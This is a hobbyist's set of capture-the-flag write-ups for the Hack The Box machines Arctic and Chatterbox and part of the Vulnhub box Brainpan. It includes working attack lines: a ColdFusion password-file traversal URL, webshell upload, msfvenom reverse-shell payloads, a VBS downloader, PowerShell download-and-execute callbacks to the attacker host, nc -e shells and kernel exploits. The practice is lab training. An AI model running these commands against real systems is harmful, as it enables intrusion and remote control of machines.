HTB – Artic

It’s time to get a bit cooooooool, we are gunna have a look at Artic!

Start off as usual with our nmap scan

nmap -sC -sV -O -oN nmap/initial 10.10.10.11 -vv

We get a few results:

PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
8500/tcp open fmtp?
49154/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone|specialized
Running (JUST GUESSING): Microsoft Windows 8|Phone|2008|7|8.1|Vista|2012 (92%)

So it’s windows and 3 ports. I have no idea what fmtp might be, let’s see if we can view it in a browser.

We get a directory listing back!

We know what CFIDE is, that’s Adobe Cold Fusion. Known to have a load of vulnerbilities depending on version!

Looking in that folder, we find Administrator, which brings us a login screen!

There is a known LFI in CFIDE, which lets you see the admin password, accessing it via:

http://10.10.10.11:8500/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\ColdFusion8\lib\password.properties%00en

Visiting it, gives us:

I’d say that password is hashed, a quick google tells us the normal hash for this is SHA1.

Putting it into hash-identifier

Confirms it is likely to be SHA-1!

Let’s try and crack it with john. Copy the hash into a text file and run john:

john hash.txt -w /usr/share/wordlists/rockyou.txt

It comes up with a whole heap of things it could be but after a while it lets us know it’s cracked.

Let’s check the password:

john --show --format=Raw-SHA1 hash.txt

It is a happyday!

Let’s go back to the admin login and see if the creds work!

Success we are in!

Now i’ve exploited this application before, so I have an idea!

Looking at Settings Summary. We can see that any uploaded files get saved at CFIDE/scripts

Double checking the directory listing earlier, we have access to that folder. So we should be able to upload a payload to there and execute it to get a webshell or reverse shell or whatever we want!

Looking in the folder, mostly the files are js or cfm. I think we need to upload a .cfm for it to execute on the server. Luckily on kali there is a default cfm webshell located in /usr/share/webshells/cfm/cfexec.cfm

To upload a file, we need to set up a scheduled task. Under “Debugging & Logging” we have the scheduled tasks.

We will schedule a new task. We can’t upload a file, but we can access a URL, so let’s host our .cfm using python and put in the details. Make sure “Save output to a file” is ticked and we need to confirm where to save it.

Heading back to the setting summary, we can see the CFIDE mapping

I guess we need to use that with \scripts on the end

C:\ColdFusion8\wwwroot\CFIDE\scripts\yekki.cfm

Submit the task. (This box is very slow, so be patient!)

Once submitted, we need to run the task.

We get a hit on our webserver! And our file is there!

You’ll notice it’s a jsp, not sure why this is. Ah in my autocomplete on the File path, it was a .jsp file. So maybe it needs to be a jsp not a cfm.

Let’s try with a cfm.

A CFM does work (as does a jsp) so either is good!

Hmm, we get an error when running a command:

I think this will be because I changed the name of the file.

Looking at the script, we needed to make a change before we were so reckless in our uploading!

<form method="POST" action="cfexec.cfm">

We need to change this to be:

<form method="POST" action="yekki2.cfm">

Let’s upload it and call the file yekki2.cfm. The reason to call it “2” is that I have no idea if it will overwrite files or fail at that. So it’s must easier and less things can go wrong to make a new one!

Using that webshell, let’s try and whoami /all

Very strange, we get another error!

It doesn’t look like it can find cmd.exe! How strange!

Let’s try powershell instead. Again same issue.

Wow that’s odd. Ok, instead of trying to do that, let’s make a reverse shell payload!

The syntax for this is:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.18 LPORT=9002 -f raw > yekki-rs.jsp

That runs and creates our reverse shell payload

Let’s host that using python and change our scheduled task to grab this file instead.

Run the scheduled task and it appears.

Set up a nc listener

nc -nvlp 9002

Click on the link. Cross those fingers……

We get a reverse shell and the user flag! Noice!

Let’s get my favourite powerless script across. I have a VBA script which works like a wget.

echo dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") > script1.vbs
echo dim bStrm: Set bStrm = createobject("Adodb.Stream") >> script1.vbs
echo xHttp.Open "GET", "http://10.10.14.18:9001/Powerless.bat", False >> script1.vbs
echo xHttp.Send >> script1.vbs
echo with bStrm >> script1.vbs
echo .type = 1 '//binary >> script1.vbs
echo .open >> script1.vbs
echo .write xHttp.responseBody >> script1.vbs
echo .savetofile "Powerless.bat", 2 '//overwrite >> script1.vbs
echo end with >> script1.vbs
cscript script1.vbs

Running powerless

.\Powerless.bat

We get a whole bunch of data, let’s see what we have!

Host Name: ARCTIC 
OS Name: Microsoft Windows Server 2008 R2 Standard 
OS Version: 6.1.7600 N/A Build 7600

We have a lot of priviledges:

PRIVILEGES INFORMATION 
----------------------

Privilege Name Description State 
============================= ========================================= ======== 
SeChangeNotifyPrivilege Bypass traverse checking Enabled 
SeImpersonatePrivilege Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege Create global objects Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

The windows 2008 and the privileges lead me to think maybe we need to use the SeImpersonatePrivilege priv esc.

Searchsploit agrees. Generally I prefer not using kernal exploits as I want to learn other weaknesses, but I can’t see anything else obvious.

Let’s get Sherlock the powershell script across and see if that agrees that I’m on the right lines.

First let’s upgrade ourselves to a powershell terminal.

We can use nishang to create a reverse shell. Go into nishang and edit the Invoke-PowershellTcp.ps1 and at the end enter:

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.18 -Port 9003

Then host is using python simple webshell.

Back on the target machine, we can use powershell to get the file which should then start our second reverse shell,

powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.18:9012/Invoke-PowerShellTcp.ps1')

There might be a better way to go up to powershell but I like this, as I get a second shell, so if anything goes wrong, I can re-call it using the first shell without using ColdFusion again.

From here, we can use Sherlock. Firstly in the sherlock powershell file, at the bottom put in:

function Find-AllVulns

This will run the script when it’s downloaded.

IEX(New-Object Net.WebClient).downloadString('http://10.10.14.18:9010/Sherlock.ps1')

Sherlock then errors out. Sadly.

Instead let’s remove that line from Sherlock and try:

IEX(New-Object Net.WebClient).downloadString('http://10.10.14.18:9010/Sherlock.ps1') ; Find-AllVulns

This time, we get a bunch of output and a few potential vulnerabilities:

Title : Task Scheduler .XML
MSBulletin : MS10-092
CVEID : 2010-3338, 2010-3888 
Link : https://www.exploit-db.com/exploits/19930/
VulnStatus : Appears Vulnerable

Title : ClientCopyImage Win32k
MSBulletin : MS15-051 
CVEID : 2015-1701, 2015-2433
Link : https://www.exploit-db.com/exploits/37367/
VulnStatus : Appears Vulnerable


Title : Secondary Logon Handle
MSBulletin : MS16-032
CVEID : 2016-0099
Link : https://www.exploit-db.com/exploits/39719/
VulnStatus : Appears Vulnerable

So we know which options might be vulnerable!

Let’s start at the top and work our way down. So firstly, task scheduler .xml. Searching on searchsploit we get a hit. The exploit however is part of metasploit and I can’t seem to find a different version on github.

Ok moving on, ClientCopyImage has a compiled .exe on github we can try!

As the machine is 64 bit, let’s try that.

We need to get the file across to the box. To do this, as powershell was a pain earlier, I’m going back to my trusty wget vba script!

echo dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") > script1.vbs 
echo dim bStrm: Set bStrm = createobject("Adodb.Stream") >> script1.vbs 
echo xHttp.Open "GET", "http://10.10.14.18:9014/Taihou64.exe", False >> script1.vbs 
echo xHttp.Send >> script1.vbs 
echo with bStrm >> script1.vbs 
echo .type = 1 '//binary >> script1.vbs 
echo .open >> script1.vbs 
echo .write xHttp.responseBody >> script1.vbs 
echo .savetofile "Taihou64.exe", 2 '//overwrite >> script1.vbs 
echo end with >> script1.vbs 
cscript script1.vbs

That’s now downloaded, all that’s left is to run it:

C:\Users\tolis\Favorites\Taihou64.exe

That runs for a while annnd…… it doesn’t appear to do anything!

Well that’s no good! The last exploit needs 2 CPUs, I’m not sure if this has that as it’s a VM.

Instead while I was waiting for Taihou64 to run, I remembered I have previosuly priv esced on a 2008 with an exploit called Churrasco.

The .exe is on kali under /usr/share/sqlninja/apps/churrasco.exe

Let’s get that across to the box with out wget script.

We also need to get netcat across, there is a static binary of this in /usr/share/windows-binaries/nc.exe.

Start up a listener on a new port

nc -nvlp 9111

Then run,

.\pr.exe -d "C:\Users\tolis\Links\nc.exe 10.10.14.18 9111 -e cmd.exe"

And it doesn’t have the right set up to run:

/churrasco/-->Current User: tolis 
/churrasco/-->Process is not running under NETWORK SERVICE account!
/churrasco/-->Getting NETWORK SERVICE token ...
/churrasco/-->Couldn't find NETWORK SERVICE token

Bugger!

Looking around a bit more, there is another potential exploit we can use, called Chimichurri. There is a compiled version on github.

Downloading that and moving it across to the box.

Let’s run that and we need to give it parameters of where a reverse shell should go to.

C:\Users\tolis\Links\win.exe 10.10.14.18 9111

And nothing happens.

That should have worked (trust me I read a walkthrough!)

Maybe someone else has already used the exploit and buggered the path? I’m not sure.

After a box reset, it still didn’t work. The exploit just hangs and doesn’t give us anything back. I looked a couple of walkthroughs, all the priv esc is kernal exploits and really I want to learn other Windows priv esc methods, so I’m going to give up on this one!

This is a flag that will go un-earned (until I come back and do it with metasploit in like 5 minutes)!

 

HTB – Chatterbox

Here we go, let’s do another retired box which is part of TJNull’s OSCP-like VMs!

Today will be Chatterbox. I’ve not looked at this box before, so will be a straight from scratch let’s learn as we go writeup!

*********False Start***********

First up, nmap!

nmap -sC -sV -O -oN nmap/initial  10.10.10.74  -vv

We get two open ports:

PORT STATE SERVICE REASON VERSION
554/tcp open rtsp? syn-ack ttl 128
|_rtsp-methods: ERROR: Script execution failed (use -d to debug)
7070/tcp open realserver? syn-ack ttl 128
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: WAP|general purpose
Running: Actiontec embedded, Linux 2.4.X|3.X, Microsoft Windows XP|7|2012
OS CPE: cpe:/h:actiontec:mi424wr-gen3i cpe:/o:linux:linux_kernel cpe:/o:linux:linux_kernel:2.4.37 cpe:/o:linux:linux_kernel:3.2 cpe:/o:microsoft:windows_xp::sp3 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_server_2012
OS details: Actiontec MI424WR-GEN3I WAP, DD-WRT v24-sp2 (Linux 2.4.37), Linux 3.2, Microsoft Windows XP SP3, Microsoft Windows XP SP3 or Windows 7 or Windows Server 2012

Well that isn’t exactly what I would expect. Port 554 and 7070 and not much of an idea about the OS!

 

I just released that I haven’t connected to the Hack The Box VPN (always do this first!), so let’s run that scan again and see if we get different results! Sorry to whoever owns that public IP address!

Let’s redo that first nmap scan!

This time, we get no results! Not a single port open! Let’s try a full port scan!

nmap -sS -p- 10.10.10.74 -oN nmap/allports -vv

While that’s running, we also run a UDP scan. I always do the top 1000 first, if there is nothing in that, usually there isn’t much at all:

nmap -sU --top-ports=1000 -oN nmap/UDP 10.10.10.74

Nothing on UDP and no ports coming back on the all ports scan.

Let’s try resetting the box and starting again. Something has borked here!

********Actual Start**************

Doing a quick scan to see if we have anything open:

nmap -sS 10.10.10.74 -vv

We don’t get any findings. Let’s run a full port scan again:

nmap -sV -p- 10.10.10.74 -vv -T5

For some reason the scan was going to take an hour and a half. So while that ran, I tried out massscan which I haven’t used before. I tried scanning the first 10,000 ports and it found ports 554 and 7070 pretty quickly, but these aren’t HTB I don’t think, so it’s for some reason not using the VPN?

Ignoring that, I waited, and waited, and waited. For the nmap scan to finish and we got 2 results, these were different and showed:

Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-13 14:25 BST
Nmap scan report for 10.10.10.74
Host is up (0.13s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE
9255/tcp open mon
9256/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 2594.76 seconds

Right, finally some results (43 minutes later!), let’s do a more detailed scan of those 2 ports:

nmap -sC -sV -O -oN nmap/detailed 10.10.10.74 -p 9255,9256 -vv

So we have two chat systems. 9255 is HTTP and not sure about 9256.

Let’s go check out 9255 first.

We get absolutely nothing back from that port. It doesn’t load. netcat doesn’t return anything.

Lets part that and check 9256. Netcat again gives nothing in return

nc 10.10.10.74 9256

However, going to a browser, we get:

Still not very useful.

Trying to run gobuster to see if there is anything more, gobuster tells us that it can’t connect.

Let’s google “achat chat system” and see if we have any default directories or anything.

We get a hit, for a Remote Buffer Overflow from exploit-db.

I’m out of other ideas so let’s try that

So in the script, we need to create a payload and replace it, we also need to change the attack target.

Updating the IP address:

# Create a UDP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
server_address = ('10.10.10.74', 9256)

The payload looks strange, it’s windows/exec for calc.exe. Not too sure what this is going to do!

Fuck it, let’s run it and see what happens.

I think that means it ran? Let’s try changing the payload the be a reverse shell.

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.3 LPORT=9010 -f c -a x86 --platform windows -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' -f python

And it couldn’t create it due to the massive list of bad characters. Maybe we can use a different encoder that will work?

I found a list of encoders and did some trial and error.

I managed to find that x86/unicode_upper worked. Why is this? No idea! I guess it can use enough characters to work around the bad characters.

It does say it’s skipping invalid encoder, but it made it anyway, so I have absolutely no idea what’s going on, but i’ll take it!

Copying that into the script and noting its 324 bytes. Luckily the script works out the length of the buffer and takes it into account, so we don’t need to change anything there.

Right, let’s get a listener up on port 9002 and run this.

Ok, less exciting than I was expecting. Nothing happened! Double checking the IP address and the port, they are all right. Maybe the service has crashed when we did it as a test first time?

Resetting the box, we then try it again.

After a reset, we still have nothing! Ok, well that’s no use!

Maybe the unicode_upper isn’t what we need. Let’s keep looking, unicode_mixed also gives us a shellcode. I also realised I had 2 -f flags in my msfvenom, so I took out the -f c. That was a copy/paste error!

Created the payload and put it into the script. Let’s try again.

Nothing!

Ok, let’s re-look at the script and what that has. Looking at their suggested msfvenom payload I notice it has:

BufferRegister=EAX

We haven’t included that. Let’s add that in so our msfvenom command now looks like:

So many bad characters!

Wow this is a much longer payload at 774 bytes!

Copying that into the script, let’s try again!

Hooray, we get a reverse shell!

So it’s always important to read through the PoC and even though we are doing something different, including all the important parts! Also go through all the encoders. Just as a test, I re-ran it with the Upper encoder, and as long as I included the buffer register, it worked fine!

So although the encoder does matter to get round the amount of bad characters, the Buffer Register location is the critical part!

Now that we are in, a little look and we get the user flag!

I didn’t really like that user, I didn’t have anything to see if the service was up or down and finding the initial port was an absolute PITA!

Let’s take a look around for priv esc. Windows priv esc is my weak point, so really hoping to learn a good new skill here!

For Windows priv esc, I really like the Fuzzy Sec guide.

Straight away we find some useful information:

So, its a Windows 7 box, likely to be vulnerable to rotton potato, but i’ll save that for a last resort.

We also know there is only 1 Admin user, Administrator and we aren’t part of any groups, so hints there!

Looking through the networking and running processes, we don’t find a huge amount more information.

WMIC is installed though, so let’s take a quick look through there. Again nothing stands out.

It’s at this point, I revert to scripts, there is a great one called Powerless

To get this across we have a couple of options, either we can use powershell’s invoke-webrequest, or we can create a VBS wget script.

Let’s do the latter, host the script on a simple webserver on kali

python -m simpleHTTPServer 9001

Then on the Win7 box, go to a writable folder, I like to use the “Favorites” folder in the user area.

echo dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") > script1.vbs
echo dim bStrm: Set bStrm = createobject("Adodb.Stream") >> script1.vbs
echo xHttp.Open "GET", "http://10.10.14.3:9001/Powerless.bat", False >> script1.vbs
echo xHttp.Send >> script1.vbs
echo with bStrm >> script1.vbs
echo .type = 1 '//binary >> script1.vbs
echo .open >> script1.vbs
echo .write xHttp.responseBody >> script1.vbs
echo .savetofile "Powerless.bat", 2 '//overwrite >> script1.vbs
echo end with >> script1.vbs
cscript script1.vbs

I’ve bolded the bits that need to be changed. I find it works better to copy & paste 1 line at a time rather than all of them at once.

The reason I use this, and powerless rather than something like PowerUp is because although Windows 7 does have Powershell, it’s an early version and a lot of commands don’t work and I spend more time troubleshooting that then getting anything done!

This has successfully downloaded the file, let’s run it and see what we get.

There is so much output, and I won’t copy all of it, as it would just be crazy to go through!

There are however 208 hotfixes installed. So that’s any kernal exploits likely to be patched!

We do get some priviledge information

PRIVILEGES INFORMATION
----------------------

Privilege Name Description State 
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled 
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
--- All users, accounts and groups ---

Nothing out of the normal there. SeChangeNotifyPriviledge is the one required for rottonpotato to work. So that’s worth bearing in mind.

Interesting AVAST is installed, this is a virus scanner. Do we need that on a CTF?

The Alfred user is stored in the registry, so we have that:

--- Searching Registry for Passwords ---
DefaultDomainName REG_SZ 
DefaultUserName REG_SZ Alfred
DefaultPassword REG_SZ Welcome1!

It doesn’t help us here, but in real life where password reuse is rife, this could be handy for later (also to note the crap password!)

There is a sysprep file we can look at:

c:\Windows\Panther\unattend.xml

Unfortuantely this runs as Alfred and has the password removed. So no luck.

That didn’t gain us much. Shall we try powerup.ps1? This might not work due to powershell issues.

Rather than re-using the wget script, let’s try powershell. To get into powershell we need to type:

powershell

This actually hangs and doesn’t open powershell. The only way out was Ctrl+C, so we have to re-do the BoF. I wish a more complex password was used and something like RDP was open (yes people would eternal blue it, but what would be the point?)

So the BoF didn’t work without reverting the box. In our script we didn’t specific the end the THREAD so the whole program crashes rather than just the thread we were using.

While I was waiting for the box to revert, I wondered if there was a way to view who owns what files, like on linux (ps -al) as my first Linux check is always who owns /etc/passwd & /etc/shadow.

There is a flag which is

dir /q <file>

This showed an interesting result:

Alfred owns the root.txt file, yet cannot read it, or move it. What can we do?

Some googling turns up not a lot.

So let’s go back to what we were doing, we were going to get PowerUp.ps1 across. Since powershell failed last time, I’m going to use my wget script again.

echo dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") > script2.vbs
echo dim bStrm: Set bStrm = createobject("Adodb.Stream") >> script2.vbs
echo xHttp.Open "GET", "http://10.10.14.3:9001/PowerUp.ps1", False >> script2.vbs
echo xHttp.Send >> script2.vbs
echo with bStrm >> script2.vbs
echo .type = 1 '//binary >> script2.vbs
echo .open >> script2.vbs
echo .write xHttp.responseBody >> script2.vbs
echo .savetofile "Powerup.ps1", 2 '//overwrite >> script2.vbs
echo end with >> script2.vbs
cscript script2.vbs

We can then run it using:

powershell PowerUp.ps1

This then loads in a different window as it boots up powershell and we can’t see what it’s doing.

We really need a powershell terminal! So that means, we need to do some lateral movement.

Using a nishang payload we should be able to get a powershell reverse shell.

Download the nishang payload and edit “Invoke-PowerShellTcp.ps1” at the end of the file add:

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.3 -Port 9003

This should then download and run. What I don’t know is if this will work with our vba wget script, but let’s try it!

echo dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") > script3.vbs
echo dim bStrm: Set bStrm = createobject("Adodb.Stream") >> script3.vbs
echo xHttp.Open "GET", "http://10.10.14.3:9001/Invoke-PowerShellTcp.ps1", False >> script3.vbs
echo xHttp.Send >> script3.vbs
echo with bStrm >> script3.vbs
echo .type = 1 '//binary >> script3.vbs
echo .open >> script3.vbs
echo .write xHttp.responseBody >> script3.vbs
echo .savetofile "Invoke-PowerShellTcp.ps1", 2 '//overwrite >> script3.vbs
echo end with >> script3.vbs

Set up a listener

nc -nvlp 9003

Then do:

cscript script3.vbs

Annnnd, we do not get a reverse shell. Fuuuck.

Ok, let’s try and download this via powershell!

powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.3:9001/Invoke-PowerShellTcp.ps1')

Aha! That time, we got it!

You’ll see the screen on the left looks to have frozen, as it’s running the reverse shell, but we have that shell on the right, so we can now hopefully run PowerUp.ps1 with the module “Invoke-AllChecks”

Import-Module .\Powerup.ps1; Invoke-AllChecks

It doesn’t seem to run.
So what i’m going to do, is add the run command to the bottom of it, and download it via powershell.

In the powerup script, we will add “Invoke-AllChecks” at the bottom of the script, so it should run as soon as it’s downloaded!

Hosting this on a webserver, we download it:

IEX(New-Object Net.WebClient).downloadString('http://10.10.14.3:9009/PowerUp.ps1')

It downloads, and then a blank screen. Let’s wait to see if its run and if we can see any output from this!

Nothing returned. Ok, let’s try this again manually, let’s download it without invoke all checks at the end. Using the same as above, we download it.

It isn’t there, it doesn’t save! That’s likely to be the issue! So, let’s download it with our vba script, then run it with powershell!

Now, we have powerup there!

So, how the fuck do we run this?

This is what I was talking about earlier with older/newer powershell versions, it’s just a pain. I don’t know why nothing is working to run this!

I can’t get this to run, I’ve not idea why. But let’s go back to what I said earlier when we found the password. Password reuse is a thing, could it be a thing here for Administrator?

I have a few commands that allow us to try this out, these have to be run under powershell otherwise it doesn’t work:

$username = 'Administrator'
$password = 'Welcome1!'

$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword


Start-Process powershell -Credential $credential -Verb "runas" -arg "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.3:9010/shell.ps1')"

What this will do, is set the password, and run the command as Administrator. The command gets another Nishang payload, with the reverse shell pointing to a different port, and if it works, we will have a powershell as admin!

So that appears to just hang, it doesn’t go to my webserver and I have absolutely no idea why, as the same thing has worked before!

I accidentally Ctrl+C’ed my terminal, so trying to re-get my original shell is proving a massive pain in the arse, but we will get there! 3 resets later and some unknown fucking reason why it won’t do anything, I watched the ippsec video to work out how he did this first part.

********Let’s start again!**********

After having a break for a day, due to frustration at failing to re-get my reverse shell. I reset the box 5 times, tried 3 different methods for shell, I was mega cross, angrily turned my computer off and stormed downstairs like a grumpy teenager. It wasn’t pretty!

Anyway, here we go again!

I re-created the payload using:

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.18 LPORT=9010 -a x86 -e x86/unicode_mixed -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\[31/31$
\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf
\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1
\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' BufferRegister=EAX -f python

(Note the very important IP address change)

Put that into the python scrip and start the listener,

nc -nvlp 9010

We get our reverse shell back! Huzzah!

Now let’s get that up to a powershell terminal.

powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.18:9001/Invoke-PowerShellTcp.ps1')

Remembering to change the IP address in the nishang payload!

We have our powershell payload excellent!

So, we have a password of Welcome1! Let’s try and use powershell to use that and get another nishang payload as root!

Using the powershell we tried last time but with a subtle tweak

$username = 'Administrator' 

$password = 'Welcome1!' 

$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
Start-Process -FilePath "powershell" -Credential $credential -argumentlist "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.18:9020/yekki.ps1')"

Yesss, we get a hit on our fileserver!

But we do not get a reverse shell! Bummer!

Ah that is because I didn’t change the IP address in the nishang payload, blast!

Let’s try again! Very strangely, the powershell is now just hanging and won’t do anything. It’s almost as if in the background there is a powershell running that we can’t see that is stalling it all.

After a couple of goes, I realised it was something about how I was copying out of the terminal. If I copied from here, it worked straight first time!

It calls back, our nishang shell comes home and boom, we are root!

So I got super cross, and lost loads of time when my payload wouldn’t execute after I killed the sessions by accident. I’m not sure why this was, it might have been a typo in my code I was copying, it could have been other things. But for that reason, I hate this box!

Anyway, that is root. However, there is a much more interesting way then invoking powershell as another user.

Back in our low level cmd line access!

Remember earlier we saw that the root flag was owned by Alfred?

C:\Users\Administrator\Desktop>dir /q root.txt
dir /q root.txt
Volume in drive C has no label.
Volume Serial Number is 9034-6528

Directory of C:\Users\Administrator\Desktop

12/10/2017 07:50 PM 32 CHATTERBOX\Alfred root.txt
1 File(s) 32 bytes
0 Dir(s) 18,114,719,744 bytes free

Well can we do anything with that? After some reading and a tutorial, we can!

There is a tool called icacls. This lets us look at permissions for files and folders. So let’s look at the Desktop

C:\Users\Administrator>icacls Desktop
icacls Desktop
Desktop NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
CHATTERBOX\Administrator:(I)(OI)(CI)(F)
BUILTIN\Administrators:(I)(OI)(CI)(F)
CHATTERBOX\Alfred:(I)(OI)(CI)(F)

Successfully processed 1 files; Failed processing 0 files

So I had a look at the help and got the permission definintions:

 (OI) - object inherit
(CI) - container inherit
(IO) - inherit only
(NP) - don't propagate inherit
(I) - permission inherited from parent container

Right, so Alfred has the same permissions as Administrator. We also have full access to root.txt

C:\Users\Administrator\Desktop>icacls root.txt
icacls root.txt
root.txt CHATTERBOX\Administrator:(F)

Successfully processed 1 files; Failed processing 0 files

So what can we do with that, well we can grant ourselves read access.

C:\Users\Administrator\Desktop>icacls root.txt /grant Alfred:F
icacls root.txt /grant Alfred:F
processed file: root.txt
Successfully processed 1 files; Failed processing 0 files

This then lets us read the file:

That is super useful and definitely a trick i’ll keep up my sleeve!

So there we have it! 2 ways to root the box. I’m sure there are more method to get a shell using the remote overflow, but this will do for me!

Onto the next one!

 

Brainpan

Well, it’s been pretty quiet round here, I had 30 days of OSCP labs. One thing I learnt from there that i’d never done before was Buffer overflows.

So, as it’s not something I’ve done or written up before, let’s take a look at Brainpan from Vulnhub. This will be Brainpan 1 found here: https://www.vulnhub.com/entry/brainpan-1,51/

This is a “simple” buffer overflow! The first time I did this box, I got absolutly thrown, as I was running the executable on my Windows 10 machine. Each fuzzing attempt showed a different crash point, after a few frustrating ours, I learnt that this was due to ASLR built into Win10. So, if you are going to try this box and want to do it in a Windows environemnt (with Immunity debugger) which is what we will do, get a Windows XP or Windows 7 VM.

First up, we download the OVA file and boot it up in VMWare.

Well, it’s basic! Ok, let’s find what IP this box has been given!

The box is natted, so it will share the same subnet as my win XP vm and kali VM as well my windows 10 host.

Looking at my kali box, we do a:

ip a

Seeing the network adapaters we have:

Looks like it will have a 192.168.116.XX ip address. Let’s do a pingsweep and see what we get:

nmap -sP 192.168.116.0/24

I have a few hosts on and I can narrow it down to 192.168.116.149

Doing a full portscan on that host, hopefully we get something interesting!

nmap -p- 192.168.116.149 -vv

We have 2 open ports. Let’s do a scripts scan on them to see what we have open

Scanning just the two ports:

nmap -sC -sV 192.168.116.149 -p 9999,10000

We get some more information:

 

Well it’s certainly the right box! Port 10000 is a webserver, lets’s check that out.

Hmm, ok! Just a static page, nothing to see there. Let’s run a gobuster and see if we can find anything more:

Almost immediately we get a hit:

/bin (Status: 301)

Looking there, we have a directory listing.

 

Let’s download the executable. Looking at strings, we get a lot of the process, and an oddity:

Lot’s of A’s which is odd, but “shitstorm” stands out. Could be a password?

Let’s try it using nc to connect to the port:

nc 192.168.116.149 9999

Cool, access granted. Does nothing. However, let’s be honest, this is just the foreplay. We picked this box as it’s a buffer overflow. Let’s stop messing about and get into it!

Let’s boot up Windows XP and take a few moments to remember how great XP was, well one bit particularly:

1,268,750 not a bad score nowhere near my best though!

Anyway, back on task. We will need a bugger, the OSCP and therefore I use Immunity this will also install python which is useful for later.

On the Windows XP machine, let’s visit the brainpan site:

Download the exe. Double click to start it and open Immunity. We now need to attach the process. In Immunity “File -> Attach” and we get a list of all running processes:

Click on brainpan and click “Attach”

We can now see all the code for the brainpan app. There is a lot to take in on this screen, but basically.

The program commands are the CPU instructions so jump forward, move, return etc. As each command is run it goes back to here to see what the next instruction is.

The pointers (registers might be a better word) are the addresses in the dump and stack that the next instruction will use.

The dump is the hex value of the entire program, this is what the program contains and will do

The Stack is the memory locations for each command.

It is pretty confusing but it does make sense. If you’ve not come across any of these before, i’d recommend doing some googling and watching some videos to fully understand.

So when we attach the program in Immunity it “pauses” the program, so the first thing we need to do is click the play button:

Once running it should look like the above, with the blue text in the registers and the EIP stating “ntdll.kifastsystemcallret”
If not, click the back arrow (2 left of the play button) and click play again.

Now that the program is running, we need to see if we can crash it by sending it so much data that we overwrite the pointers. If we can do that, we can work out where the registers are held in memory and send just the right amount of information to then be able to overwrite them. If we can overwrite them we control what the program does. If we control what the program does, we can put in some shellcode and get a reverse shell.

That’s how stack overflows work in a nutshell.

So first up, we need to try and crash it. Googling we find a few different scripts for stack buffer overflows, however I’m going to use and modify the one from the OSCP.

To crash this program, we don’t need to do anything clever like send a username and password, just the data to port 9999.

So in our Windows XP machine, we create a file called fuzzer.py

Then we can use the program called IDLE that was installed with Python. It has colouring and looks quite nice.

Our finish script is:

I have also chucked it on my github.

When we run this, it shows how much data it is throwing at the program and the program that is running tells us of the crash:

Looking in the Immunity debugger, we see a few interesting things.

We have overwritten the pointers and overwritten the stacks with all the A’s!

Most importantly, we have overwritten the EIP and ESP. We can use the EIP to point the program to our shellcode which we will store in the ESP.

